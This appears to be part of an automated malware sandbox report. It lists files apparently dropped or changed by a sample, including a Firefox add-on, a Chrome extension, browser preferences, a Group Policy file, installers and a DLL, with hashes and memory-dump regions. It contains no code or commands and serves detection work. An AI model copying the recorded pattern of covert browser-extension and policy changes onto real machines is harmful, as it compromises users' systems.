                                                                                                          • C:\Program Files (x86)\NeZWLpfMAhqU2\rWInWKA.xml

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            dec530f87e27a582bb5c97c32d01ee5c

                                                                                                            SHA1

                                                                                                            a768b460b5cbfbe1130620c0b52cca2afe0c84fa

                                                                                                            SHA256

                                                                                                            be0b13d4bfea21519c535da7c93719017c65144a8a8fec095444556e2d63d0de

                                                                                                            SHA512

                                                                                                            fb45cad48af20a9b005850dfa8980e3109045b4465d2327b7dd42074f2b8bc15838642ef3663ec6caa426bc1d03e11b161bede65739ec8523ed60fd045fab332

                                                                                                          • C:\Program Files (x86)\eOISJpbOU\LFthojg.xml

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            057ffe119ac67c23a0a7e10eff117574

                                                                                                            SHA1

                                                                                                            8c5beaff20a2c657a46639cec2b0ff763ee0c93f

                                                                                                            SHA256

                                                                                                            29594e06425af0f261326652a4aed50aefa2662d91b4384c844a7d1a9e695c12

                                                                                                            SHA512

                                                                                                            af6b443fe174d9f9f9f35cc56a7775f244d9e828af660edc4fce3485d06efca889dbc3e34496b824a949f71d495fea0894bb8a2ac2d4c88a10001e226c505a24

                                                                                                          • C:\Program Files (x86)\khqZzjjJsExFC\pwPjQXq.xml

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            aaeea4cbd4ce1e4288b249f4ecc73ecf

                                                                                                            SHA1

                                                                                                            aa787734f43fc198e92dff3d4e672bfc5456f214

                                                                                                            SHA256

                                                                                                            be1c7a2fe138a82d426f4e993fa2fb15648da972b513ef1e5582fb52a5723c95

                                                                                                            SHA512

                                                                                                            322f6c28499030fa1449adf5b075d09aa7820db6c7a816b67982dc04163a6cc96383b3f39ed52c959ea92518d7ea3c1c3a1b497af45eb91c9783cbef6eb28401

                                                                                                          • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

                                                                                                            Filesize

                                                                                                            2.0MB

                                                                                                            MD5

                                                                                                            12941d64db80b2eaffcb7eadbf4b9562

                                                                                                            SHA1

                                                                                                            d9fa5ccd30058e37f7910fca45ebfd82a5aa1877

                                                                                                            SHA256

                                                                                                            34712848774cd447aba3a2ef44b263bacd9f3361038da147a2192d7e3c1e787b

                                                                                                            SHA512

                                                                                                            afc775b6477e3008c664096e9c4b44c0b00bcff1d8769679f20158f11a2111f6c9e8b4c09715ca82092db55774599e0feecced977e96d36a3652be5dc7d9c810

                                                                                                          • C:\ProgramData\vNwAEuYqEraFXGVB\SdQAaQt.xml

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            3f5ccf640021c07a08d5a1031345a282

                                                                                                            SHA1

                                                                                                            fa1ae6884816f07740c902c8e2094cdc77b91a32

                                                                                                            SHA256

                                                                                                            26a92db6074f50463bced3219efda4115506a8aa4efda249fbd4e5704723160b

                                                                                                            SHA512

                                                                                                            f8502e897174c2e596792a41400449ad17762ed33203a8da581d6023161411b89a3c170c3ca7246c07ecc0ebaafdabdb542a9dfc952aa63f6a380086ce7ecd82

                                                                                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

                                                                                                            Filesize

                                                                                                            187B

                                                                                                            MD5

                                                                                                            2a1e12a4811892d95962998e184399d8

                                                                                                            SHA1

                                                                                                            55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                            SHA256

                                                                                                            32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                            SHA512

                                                                                                            bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

                                                                                                            Filesize

                                                                                                            136B

                                                                                                            MD5

                                                                                                            238d2612f510ea51d0d3eaa09e7136b1

                                                                                                            SHA1

                                                                                                            0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                            SHA256

                                                                                                            801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                            SHA512

                                                                                                            2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

                                                                                                            Filesize

                                                                                                            150B

                                                                                                            MD5

                                                                                                            0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                            SHA1

                                                                                                            6a51537cef82143d3d768759b21598542d683904

                                                                                                            SHA256

                                                                                                            0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                            SHA512

                                                                                                            5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                          • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                            Filesize

                                                                                                            10KB

                                                                                                            MD5

                                                                                                            5d29a7256f39c7b5334e1d8bdd537eba

                                                                                                            SHA1

                                                                                                            852865f0ef8f2cfe802ab22df35819a88f246076

                                                                                                            SHA256

                                                                                                            30719eca507d0716e25fbcaac5c527a63bbbbaafaced82b4d41c5a09760aedaf

                                                                                                            SHA512

                                                                                                            d3fbba51c0a0b8a8be39f850c1a08c785fe271c5d593cbf5cbe644b0f0a745f9cca94ccd146b7adcfd195fa8409ea22678e9d9c7ca63ad1867af498a9b7ed0d0

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                            Filesize

                                                                                                            2KB

                                                                                                            MD5

                                                                                                            6bf0e5945fb9da68e1b03bdaed5f6f8d

                                                                                                            SHA1

                                                                                                            eed3802c8e4abe3b327c100c99c53d3bbcf8a33d

                                                                                                            SHA256

                                                                                                            dda58fd16fee83a65c05936b1a070187f2c360024650ecaf857c5e060a6a55f1

                                                                                                            SHA512

                                                                                                            977a393fdad2b162aa42194ddad6ec8bcab24f81980ff01b1c22c4d59ac268bb5ce947105c968de1a8a66b35023280a1e7709dfea5053385f87141389ebecb25

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            12KB

                                                                                                            MD5

                                                                                                            6519b3e4130627916de4b1b73e5306c2

                                                                                                            SHA1

                                                                                                            d9ecdf07a2bc2f45c4a5e6e6683eedecbd153f4f

                                                                                                            SHA256

                                                                                                            9a7d660ac58d771d58a0f9b0cd341846adff628137ff64ced46e19653ac47837

                                                                                                            SHA512

                                                                                                            ffa3778cc4170e17a945ac7d84fa9541e58bc005fe978162f6eebcaadaa1af0acc1e9ebdb637983ad89c507113a55d9a8826b3c10cffa66982c411a5a7ffc2d6

                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            15KB

                                                                                                            MD5

                                                                                                            b48c82b60b200c647bd024ccd16de3b2

                                                                                                            SHA1

                                                                                                            b70d075092d2ba27f7ef2a84a4950e67d4fed6d1

                                                                                                            SHA256

                                                                                                            97065257bbf9dcbc2dafbdec8ca42a7a36aa734e8e379fb97d8361bcbca6c4ec

                                                                                                            SHA512

                                                                                                            432c94ef4aa8d0bd8c100b748fd350ada32663d04aab68a42cb4b5969e7001cc2fbfccceadfbcd86bed13c379cc8fd21dd3bc448560a1feba2b9892102fa4246

                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS6496.tmp\Install.exe

                                                                                                            Filesize

                                                                                                            6.4MB

                                                                                                            MD5

                                                                                                            158259b7c14a825799f24a9a7086620f

                                                                                                            SHA1

                                                                                                            0b23dc2ec22908ebb560e741552b15950c3d5f70

                                                                                                            SHA256

                                                                                                            af92382a4603a9ae73ced665226e560b271038e985853a8acceb7158f2419eb9

                                                                                                            SHA512

                                                                                                            5fafeecbf64f0eed1c441d3681ba0bdaae65de8bbe899b9559b800f9f18a85e12a8d2af4c35db18fb18b46f08ecf4945532ba6eeb28149f6c8483ed7e531cb5c

                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zS6726.tmp\Install.exe

                                                                                                            Filesize

                                                                                                            6.7MB

                                                                                                            MD5

                                                                                                            bf2d498f8057e3522c8096d6c915c366

                                                                                                            SHA1

                                                                                                            60a008942580d9f7cdc9104ed8b6fcd125539e66

                                                                                                            SHA256

                                                                                                            4e5cf70ab5f0530803345bc737a8a998d7b0aa221ef354f38f8acccb93122a77

                                                                                                            SHA512

                                                                                                            bc5dd38957c5e7958bd40bd238f742e5e9aa9be17038cfab9dc150906470563278f1e8f36361b2acfd84a288c276364cbe34313ed46f9d32aa8e99f8aafb166b

                                                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vekjrrdr.ufw.ps1

                                                                                                            Filesize

                                                                                                            1B

                                                                                                            MD5

                                                                                                            c4ca4238a0b923820dcc509a6f75849b

                                                                                                            SHA1

                                                                                                            356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                            SHA256

                                                                                                            6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                            SHA512

                                                                                                            4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                          • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\je1358xf.default-release\prefs.js

                                                                                                            Filesize

                                                                                                            7KB

                                                                                                            MD5

                                                                                                            6d403725807cf0442111b7a677b782d3

                                                                                                            SHA1

                                                                                                            5ac7565b45d23e1b2d410b7ef60e081543298818

                                                                                                            SHA256

                                                                                                            ab4cbc6fae5058a9ecfb6f38196b58830fd429c206ff3c47d2d4888190cadc8b

                                                                                                            SHA512

                                                                                                            9e00a23144b696b744203b82bac826bfb0589b9670360c7b5f22934b6ae9c0045661cc07e43019b0ec818940b645f65d3e6feadbcb70c627e11be8ac9c748df6

                                                                                                          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            15KB

                                                                                                            MD5

                                                                                                            0b516b9c4592c801dbe409e3a6b77ef1

                                                                                                            SHA1

                                                                                                            18c90d0ebbf9bf53e3f7e63616dffa72c35c4e8f

                                                                                                            SHA256

                                                                                                            5285d32b15bb49b8b96886698487fc1b7ce03679acadd7ffba82f7035ab1afa7

                                                                                                            SHA512

                                                                                                            1a12bbc0ddd2d83c41504c60095f05940f69ce9363b69e2a4e3e1df1fc8e6503ef64822a01a7d3ceea7e9f8083cde4575ae79976233244664d87b6479e7b24ba

                                                                                                          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            12KB

                                                                                                            MD5

                                                                                                            a8cc2b49131b25534baf8a22aa99fb35

                                                                                                            SHA1

                                                                                                            4305f4a1b0cdec14d35a02e5e0267d6ef002dd68

                                                                                                            SHA256

                                                                                                            a3829e805f43bb16a696dc9441309a3833b79036d06752eba37d1adaaefedf1c

                                                                                                            SHA512

                                                                                                            9a9e66de2c3381744a645ae40d9c1eef0d5e026318be8c4109608eb93ee8381b22084f2a3584739c1a55333b4d3064d448375e7ea23fb6def3abfa6a723efb3e

                                                                                                          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            12KB

                                                                                                            MD5

                                                                                                            16db509d5682ba073ac8a9d68e205200

                                                                                                            SHA1

                                                                                                            2fcfda7cca07a695084c899aea5fb8e241221a69

                                                                                                            SHA256

                                                                                                            6dc841d61fb1c28b8f008fb195074ccdddffbd2437a3dac9fa939e07ca3692d1

                                                                                                            SHA512

                                                                                                            24650119bdd4037645edf544a8bd990d6709fb857bf5d734bd738a2957adde2f3abbc371e744ef2f38bc1bfc9180b2b2a82903b7f0bed0de29ba59ae9780c3e5

                                                                                                          • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                            Filesize

                                                                                                            15KB

                                                                                                            MD5

                                                                                                            29a4490cd3ddeb3487eff5eaa87c9c16

                                                                                                            SHA1

                                                                                                            ca2d5e7b41fdcfb7242e2c3e06f80cdbaa970644

                                                                                                            SHA256

                                                                                                            87d59b085d0e149bf3dd60aaf9e5f9bcede648f4696238ae1b6fa347467af2af

                                                                                                            SHA512

                                                                                                            b88f6029fcda138eb429fe223ce6ecbc4d5f42eef0ee9aaade8bbf3bd15081e6679368671249cf3f2d84a450deb483409641a8607dfcd9816f0096b7e6618928

                                                                                                          • C:\Windows\Temp\dvCPKpbdOyEnPlbQ\iCjIsQph\QjttrdG.dll

                                                                                                            Filesize

                                                                                                            6.5MB

                                                                                                            MD5

                                                                                                            af5c01542bbcccac55e745f3291abc64

                                                                                                            SHA1

                                                                                                            f4b416b4add71485247e86ccf179d840869321b2

                                                                                                            SHA256

                                                                                                            9a30cf199b8326c032eab02a76939919fa2198b2b4f42732219e50ab51ee153b

                                                                                                            SHA512

                                                                                                            67ece734599e6eeec8ce037e388afc48f1ac9bc58d4fc1b81ac5531aa806238dbd7746aa6110396f64e96ba244cf6f7679105d5faca1a7062c071243bfdb4e08

                                                                                                          • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                            Filesize

                                                                                                            5KB

                                                                                                            MD5

                                                                                                            1872476921eb17e4bc6b793dd8265ae0

                                                                                                            SHA1

                                                                                                            08aa6bdbef2c58c77209f7a796d4aac2bd756f9b

                                                                                                            SHA256

                                                                                                            177f440b1b7de7df1848052db7c328e240e2a06d4f1aac56ae21fa41487943cd

                                                                                                            SHA512

                                                                                                            54414ed4fc0c1a86ae110de4458a570499d46b7ac0b4e5a4dd36d51b51c9290161a35a1bea3f013e3ba3ba3e220eb68c521bdd09d50123eef8a5370daaf9883d

                                                                                                          • memory/1420-483-0x0000000003650000-0x0000000003C2B000-memory.dmp

                                                                                                            Filesize

                                                                                                            5.9MB

                                                                                                          • memory/1428-215-0x00000000032D0000-0x0000000003355000-memory.dmp

                                                                                                            Filesize

                                                                                                            532KB

                                                                                                          • memory/1428-454-0x0000000004520000-0x00000000045A7000-memory.dmp

                                                                                                            Filesize

                                                                                                            540KB

                                                                                                          • memory/1428-270-0x0000000003AE0000-0x0000000003B45000-memory.dmp

                                                                                                            Filesize

                                                                                                            404KB

                                                                                                          • memory/1428-464-0x00000000046A0000-0x0000000004781000-memory.dmp

                                                                                                            Filesize

                                                                                                            900KB

                                                                                                          • memory/1428-175-0x0000000000F30000-0x00000000015EF000-memory.dmp

                                                                                                            Filesize

                                                                                                            6.7MB

                                                                                                          • memory/1428-487-0x0000000000F30000-0x00000000015EF000-memory.dmp

                                                                                                            Filesize

                                                                                                            6.7MB

                                                                                                          • memory/1428-199-0x0000000010000000-0x00000000105DB000-memory.dmp

                                                                                                            Filesize

                                                                                                            5.9MB

                                                                                                          • memory/1884-78-0x00000000071E0000-0x000000000722B000-memory.dmp

                                                                                                            Filesize

                                                                                                            300KB

                                                                                                          • memory/1884-77-0x0000000006E90000-0x00000000071E0000-memory.dmp

                                                                                                            Filesize

                                                                                                            3.3MB

                                                                                                          • memory/2240-223-0x0000000006D50000-0x0000000006D9B000-memory.dmp

                                                                                                            Filesize

                                                                                                            300KB

                                                                                                          • memory/2240-207-0x0000000006890000-0x0000000006BE0000-memory.dmp

                                                                                                            Filesize

                                                                                                            3.3MB

                                                                                                          • memory/2812-141-0x00000251F8870000-0x00000251F8892000-memory.dmp

                                                                                                            Filesize

                                                                                                            136KB

                                                                                                          • memory/2812-145-0x00000251F8A20000-0x00000251F8A96000-memory.dmp

                                                                                                            Filesize

                                                                                                            472KB

                                                                                                          • memory/3964-21-0x0000000008050000-0x000000000806C000-memory.dmp

                                                                                                            Filesize

                                                                                                            112KB

                                                                                                          • memory/3964-19-0x00000000077B0000-0x0000000007816000-memory.dmp

                                                                                                            Filesize

                                                                                                            408KB

                                                                                                          • memory/3964-39-0x00000000095C0000-0x00000000095DA000-memory.dmp

                                                                                                            Filesize

                                                                                                            104KB

                                                                                                          • memory/3964-38-0x00000000098B0000-0x0000000009944000-memory.dmp

                                                                                                            Filesize

                                                                                                            592KB

                                                                                                          • memory/3964-15-0x0000000004CA0000-0x0000000004CD6000-memory.dmp

                                                                                                            Filesize

                                                                                                            216KB

                                                                                                          • memory/3964-23-0x0000000008770000-0x00000000087E6000-memory.dmp

                                                                                                            Filesize

                                                                                                            472KB

                                                                                                          • memory/3964-40-0x0000000009840000-0x0000000009862000-memory.dmp

                                                                                                            Filesize

                                                                                                            136KB

                                                                                                          • memory/3964-20-0x0000000008110000-0x0000000008460000-memory.dmp

                                                                                                            Filesize

                                                                                                            3.3MB

                                                                                                          • memory/3964-41-0x0000000009E50000-0x000000000A34E000-memory.dmp

                                                                                                            Filesize

                                                                                                            5.0MB

                                                                                                          • memory/3964-16-0x0000000007820000-0x0000000007E48000-memory.dmp

                                                                                                            Filesize

                                                                                                            6.2MB

                                                                                                          • memory/3964-22-0x00000000089E0000-0x0000000008A2B000-memory.dmp

                                                                                                            Filesize

                                                                                                            300KB

                                                                                                          • memory/3964-18-0x0000000007FC0000-0x0000000008026000-memory.dmp

                                                                                                            Filesize

                                                                                                            408KB

                                                                                                          • memory/3964-17-0x0000000007710000-0x0000000007732000-memory.dmp

                                                                                                            Filesize

                                                                                                            136KB

                                                                                                          • memory/4072-100-0x0000000010000000-0x00000000105DB000-memory.dmp

                                                                                                            Filesize

                                                                                                            5.9MB

                                                                                                          • memory/4072-174-0x0000000000A70000-0x000000000112F000-memory.dmp

                                                                                                            Filesize

                                                                                                            6.7MB

                                                                                                          • memory/4072-74-0x0000000000A70000-0x000000000112F000-memory.dmp

                                                                                                            Filesize

                                                                                                            6.7MB

                                                                                                          • memory/4336-49-0x0000000010000000-0x00000000105DB000-memory.dmp

                                                                                                            Filesize

                                                                                                            5.9MB

                                                                                                          • memory/4336-12-0x0000000000A70000-0x000000000112F000-memory.dmp

                                                                                                            Filesize

                                                                                                            6.7MB

                                                                                                          • memory/4336-72-0x0000000000A70000-0x000000000112F000-memory.dmp

                                                                                                            Filesize

                                                                                                            6.7MB

                                                                                                          • memory/5112-56-0x0000000007F10000-0x0000000008260000-memory.dmp

                                                                                                            Filesize

                                                                                                            3.3MB

                                                                                                          • memory/5112-58-0x0000000008480000-0x00000000084CB000-memory.dmp

                                                                                                            Filesize

                                                                                                            300KB